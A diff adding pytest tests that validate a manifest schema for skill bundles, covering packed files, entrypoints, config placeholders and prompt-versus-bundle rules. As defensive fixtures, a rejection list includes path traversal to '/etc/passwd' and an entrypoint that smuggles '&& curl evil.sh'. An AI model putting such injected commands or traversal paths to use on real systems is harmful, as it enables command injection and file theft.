assert (ROOT / source).is_file(), f"{source} does not exist"
|
|
649
|
+
assert inlined[entry["id"]][packed_path] == (ROOT / source).read_text()
|
|
650
|
+
|
|
651
|
+
# The entrypoint has to name something the tarball actually contains.
|
|
652
|
+
packed = set(bundle["files"]) | {"config.json"}
|
|
653
|
+
assert any(word in packed for word in bundle["entrypoint"].split()), (
|
|
654
|
+
f"entrypoint {bundle['entrypoint']!r} names no packed file"
|
|
655
|
+
)
|
|
656
|
+
if "setupScript" in bundle:
|
|
657
|
+
assert bundle["setupScript"] in packed
|
|
658
|
+
|
|
659
|
+
|
|
660
|
+
# A bundle is the one part of a manifest naming files and a command the host
|
|
661
|
+
# acts on, so the schema is what stands between an entry and the host doing it.
|
|
662
|
+
BUNDLE_REJECTIONS = [
|
|
663
|
+
("a packed path that climbs out of the archive", {"files": {"../main.py": "skills/github-pr-reviewer/scripts/main.py"}}),
|
|
664
|
+
("a packed path that is a bare dot segment", {"files": {"./main.py": "skills/github-pr-reviewer/scripts/main.py"}}),
|
|
665
|
+
("a source that traverses out of the repository", {"files": {"main.py": "skills/../../etc/passwd"}}),
|
|
666
|
+
("a source outside skills/ and automations/", {"files": {"main.py": "python/main.py"}}),
|
|
667
|
+
("an entrypoint carrying a shell metacharacter", {"entrypoint": "python3 main.py && curl evil.sh"}),
|
|
668
|
+
("a setup script that climbs out of the archive", {"setupScript": "../setup.sh"}),
|
|
669
|
+
("a version that is not a semantic version", {"version": "latest"}),
|
|
670
|
+
("no files at all", {"files": {}}),
|
|
671
|
+
]
|
|
672
|
+
|
|
673
|
+
|
|
674
|
+
@pytest.mark.parametrize(
|
|
675
|
+
("case", "override"),
|
|
676
|
+
[pytest.param(case, override, id=case) for case, override in BUNDLE_REJECTIONS],
|
|
677
|
+
)
|
|
678
|
+
def test_schema_refuses_an_unsafe_bundle(case: str, override: dict) -> None:
|
|
679
|
+
entry = deepcopy(_load(CATALOG_DIR / "github-pr-reviewer" / "manifest.json"))
|
|
680
|
+
entry["setup"]["bundle"].update(override)
|
|
681
|
+
|
|
682
|
+
assert list(VALIDATOR.iter_errors(entry)), f"schema admitted {case}"
|
|
683
|
+
|
|
684
|
+
|
|
685
|
+
def test_a_direct_entry_declares_a_prompt_or_a_bundle_but_not_both() -> None:
|
|
686
|
+
entry = deepcopy(_load(CATALOG_DIR / "github-pr-reviewer" / "manifest.json"))
|
|
687
|
+
entry["setup"]["prompt"] = "Review pull requests."
|
|
688
|
+
|
|
689
|
+
assert list(VALIDATOR.iter_errors(entry))
|
|
690
|
+
|
|
691
|
+
del entry["setup"]["prompt"]
|
|
692
|
+
del entry["setup"]["bundle"]
|
|
693
|
+
|
|
694
|
+
assert list(VALIDATOR.iter_errors(entry))
|
|
695
|
+
|
|
696
|
+
|
|
697
|
+
@pytest.mark.parametrize("entry_path", list(_setup_paths()))
|
|
698
|
+
def test_bundle_config_only_reads_declared_form_fields(entry_path: Path) -> None:
|
|
699
|
+
"""config.json is the bundle's analogue of the prompt, and the same rule
|
|
700
|
+
applies: a placeholder must name an input the form actually collects."""
|
|
701
|
+
entry = _load(entry_path)
|
|
702
|
+
if not _is_bundle(entry):
|
|
703
|
+
pytest.skip("not a bundle entry")
|
|
704
|
+
|
|
705
|
+
names = _field_names(entry["setup"])
|
|
706
|
+
for value in _iter_strings(entry["setup"]["bundle"]["config"]):
|
|
707
|
+
for namespace, key in PLACEHOLDER_RE.findall(value):
|
|
708
|
+
if namespace == "form":
|
|
709
|
+
assert key in names, f"config references unknown field: {key}"
|
|
515
710
|
|
|
516
711
|
|
|
517
712
|
def test_no_catalog_entry_or_fixture_carries_a_credential_value() -> None:
|